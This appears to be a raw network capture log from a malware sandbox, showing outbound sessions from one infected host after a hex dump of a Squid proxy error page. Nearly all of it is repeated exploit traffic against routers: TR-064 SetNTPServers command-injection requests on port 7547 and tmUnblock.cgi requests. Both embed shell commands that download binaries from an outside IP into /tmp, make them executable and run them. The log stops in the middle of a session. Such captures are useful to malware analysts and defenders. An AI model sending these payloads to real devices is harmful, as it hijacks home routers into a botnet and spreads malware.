65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 72 65 74 72 69 65 76 65 64 3c 2f 74 69 74 6c 65 3e 20 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 3c 21 2d 2d 20 20 20 2f 2a 0a 20 53 74 79 6c 65 73 68 65 65 74 20 66 6f 72 20 53 71 75 69 64 20 45 72 72 6f 72 20 70 61 67 65 73 0a 20 41 64 61 70 74 65 64 20 66 72 6f 6d 20 64 65 73 69 67 6e 20 62 79 20 46 72 65 65 20 43 53 53 20 54 65 6d 70 6c 61 74 65 73 0a 20 68 74 74 70 3a 2f 2f 77 77 77 2e 66 72 65 65 63 73 73 74 65 6d 70 6c 61 74 65 73 2e 6f 72 67 0a 20 52 65 6c 65 61 73 65 64 20 66 6f 72 20 66 72 65 65 20 75 6e 64 65 72 20 61 20 43 72 65 61 74 69 76 65 20 43 6f 6d 6d 6f 6e 73 20 41 74 74 72 69 62 75 74 69 6f 6e 20 32 2e 35 20 4c 69 63 65 6e 73 65 0a 2a 2f 0a 0a 2f 2a 20 50 61 67 65 20 62 61 73 69 63 73 20 2a 2f 0a 2a 20 7b 0a 09 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 76 65 72 64 61 6e 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 7d 0a 0a 68 74 6d 6c 20 62 6f 64 79 20 7b 0a 09 6d 61 72 67 69 6e 3a 20 30 3b 0a 09 70 61 64 64 69 6e 67 3a 20 30 3b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 65 66 65 66 65 66 3b 0a 09 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 32 70 78 3b 0a 09 63 6f 6c 6f 72 3a 20 23 31 65 31 65 31 65 3b 0a 7d 0a 0a 2f 2a 20 50 61 67 65 20 64 69 73 70 6c 61 79 65 64 20 74 69 74 6c 65 20 61 72 65 61 20 2a 2f 0a 23 74 69 74 6c 65 73 20 7b 0a 09 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 31 35 70 78 3b 0a 09 70 61 64 64 69 6e 67 3a 20 31 30 70 78 3b 0a 09 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 20 31 30 30 70 78 3b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 75 72 6c 28 27 68 74 74 70 3a 2f 2f 77 77 77 2e 73 71 75 69 64 2d 63 61 63 68 65 2e 6f 72 67 2f 41 72 74 77 6f 72 6b 2f 53 4e 2e 70 6e 67 27 29 20 6e 6f 2d 72 65 70 65 61 74 20 6c 65 66 74 3b 0a 7d 0a 0a 2f 2a 20 69 6e 69 74 69 61 6c 20 74 69 74 6c 65 20 2a 2f 0a 23 74 69 74 6c 65 73 20 68 31 20 7b 0a 09 63 6f 6c 6f 72 3a 20 23 30 30 30 30 30 30 3b 0a 7d 0a 23 74 69 74 6c 65 73 20 68 32 20 7b 0a 09 63 6f 6c 6f 72 3a 20 23 30 30 30 30 30 30 3b 0a 7d 0a 0a 2f 2a 20 73 70 65 63 69 61 6c 20 65 76 65 6e 74 3a 20 46 54 50 20 73 75 63 63 65 73 73 20 70 61 67 65 20 74 69 74 6c 65 73 20 2a 2f 0a 23 74 69 74 6c 65 73 20 66 74 70 73 75 63 63 65 73 73 20 7b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 66 66 30 30 3b 0a 09 77 69 64 74 68 3a 31 30 30 25 3b 0a 7d 0a 0a 2f 2a 20 50 61 67 65 20 64 69 73 70 6c 61 79 65 64 20 62 6f 64 79 20 63 6f 6e 74 65 6e 74 20 61 72 65 61 20 2a 2f 0a 23 63 6f 6e 74 65 6e 74 20 7b 0a 09 70 61 64 64 69 6e 67 3a 20 31 30 70 78 3b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 66 66 66 66 66 66 Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"> <html><head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8"> <title>ERROR: The requested URL could not be retrieved</title> <style type="text/css">... /* Stylesheet for Squid Error pages Adapted from design by Free CSS Templates http://www.freecsstemplates.org Released for free under a Creative Commons Attribution 2.5 License// Page basics / {font-family: verdana, sans-serif;}html body {margin: 0;padding: 0;background: #efefef;font-size: 12px;color: #1e1e1e;}/* Page displayed title area /#titles {margin-left: 15px;padding: 10px;padding-left: 100px;background: url('http://www.squid-cache.org/Artwork/SN.png') no-repeat left;}/ initial title /#titles h1 {color: #000000;}#titles h2 {color: #000000;}/ special event: FTP success page titles /#titles ftpsuccess {background-color:#00ff00;width:100%;}/ Page displayed body content area */#content {padding: 10px;background: #ffffff

Session ID	Source IP	Source Port	Destination IP	Destination Port
441	192.168.2.23	34530	34.95.125.112	7547

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:24.264523029 CET	733	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
442	192.168.2.23	34538	34.95.125.112	7547

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:24.352993011 CET	733	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
443	192.168.2.23	33080	221.160.162.142	7547

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:24.419858932 CET	733	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
444	192.168.2.23	60178	211.192.237.213	7547

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:24.419888020 CET	733	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
445	192.168.2.23	51804	115.5.65.240	7547

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:24.424988985 CET	733	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 2, 2024 12:37:25.397911072 CET	733	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
446	192.168.2.23	33088	221.160.162.142	7547

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:24.694149971 CET	733	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
447	192.168.2.23	60186	211.192.237.213	7547

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:24.710913897 CET	733	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
448	192.168.2.23	60356	172.67.244.202	8080

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:24.866832018 CET	121	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://164.155.205.6/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
449	192.168.2.23	41458	172.65.172.31	8080

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:24.866911888 CET	121	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://164.155.205.6/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
450	192.168.2.23	44340	119.217.47.123	7547

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:24.996347904 CET	733	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
451	192.168.2.23	50396	173.32.212.185	7547

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:25.277895927 CET	733	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
452	192.168.2.23	35010	31.136.216.139	7547

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:25.397964954 CET	721	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 2, 2024 12:37:28.480958939 CET	721	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 2, 2024 12:37:34.627705097 CET	721	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 2, 2024 12:37:46.654017925 CET	721	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 2, 2024 12:38:12.506409883 CET	721	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
453	192.168.2.23	50466	173.32.212.185	7547

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:25.399363041 CET	733	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
454	192.168.2.23	35080	31.136.216.139	7547

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:25.581000090 CET	721	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 2, 2024 12:37:26.144925117 CET	721	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 2, 2024 12:37:27.268763065 CET	721	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 2, 2024 12:37:29.508492947 CET	721	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 2, 2024 12:37:34.111813068 CET	721	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 2, 2024 12:37:43.074700117 CET	721	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 2, 2024 12:38:02.267823935 CET	721	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 2, 2024 12:38:39.126755953 CET	721	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
455	192.168.2.23	51812	115.5.65.240	7547

Timestamp	Bytes transferred	Direction	Data
